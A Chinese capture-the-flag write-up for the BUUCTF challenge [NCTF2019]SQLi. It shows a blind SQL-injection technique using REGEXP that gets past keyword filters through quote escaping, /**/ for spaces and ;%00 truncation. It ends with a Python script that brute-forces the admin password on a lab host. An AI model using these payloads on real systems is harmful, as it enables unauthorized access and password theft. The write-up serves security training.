# [NCTF2019]SQLi
源码泄露:

找到 hint.php
目的明确:
只要密码是 admin 的密码就可以获得 flag
得到提示,这题过滤了好多关键字,只要 password 的密码等于 admin 的密码就能拿到 flag 了,但是怎么拿呢?看了 dalao 的 wp 才发现有 regexp 注入
# regexp 注入(正则注入)
这个注入方式呢相当于布尔盲注吧,若是猜对了就返回正确的页面,我们本地测试一下正则,先看一下全部数据,然后 ^ 匹配 e 开头的 password

再找个 a 开头的:没有

分析
回到题目里,提示给了串 SQL 语句
select * from users where username='' and passwd=''
想要猜解 admin 的密码需要用到 admin,可是题目过滤掉了 admin,但是我们能用其他方法绕过,让 username=\,将语句后面的单引号给转义掉,我们可以构造这样的 payload
username=\&passwd=||sql;%00
因为题目过滤掉了空格,空格能用内联注释符 /**/ 代替
注释符 #和 -- 被过滤掉了,这里用;%00 截断注释后面的内容
放入原查询语句相当于
select * from users where username='\' and passwd='||sql;%00'
即
select * from users where sql;%00
这时候就能利用正则进行注入了构建 payload
username=\&passwd=||/**/passwd/**/regexp/**/"^x";%00
相当于
select * from users where /**/passwd/**/regexp/**/"^x";%00 |
先用 burpsuite 跑一下(注意该一下爆破频率,不然 429),看看正确与错误的情况,好写脚本跑


跑完后发现错误的话会有个 js 的弹窗出来,跑对了就没有 ,这里可以看到密码第一位是 y(或 Y,不区分大小写),以此写个 python 脚本
#buuctf web [NCTF2019]SQLi
import requests
import string
url = "http://2e2494c3-b85d-49f4-81b8-63ee389a9c30.node4.buuoj.cn:81/"
pw_fuzz = string.ascii_lowercase + string.digits + "_" #密码字典:小写字母和数字还有下划线
pw = "" #admin的密码
while True:
for i in pw_fuzz:
data={
'username':'\\',
'passwd':'||/**/passwd/**/regexp/**/"^{}";\x00'.format((pw+i))
}
res = requests.post(url=url,data=data).text
if "alert" not in res:
pw = pw + i
print(pw)

交到密码获得 flag:
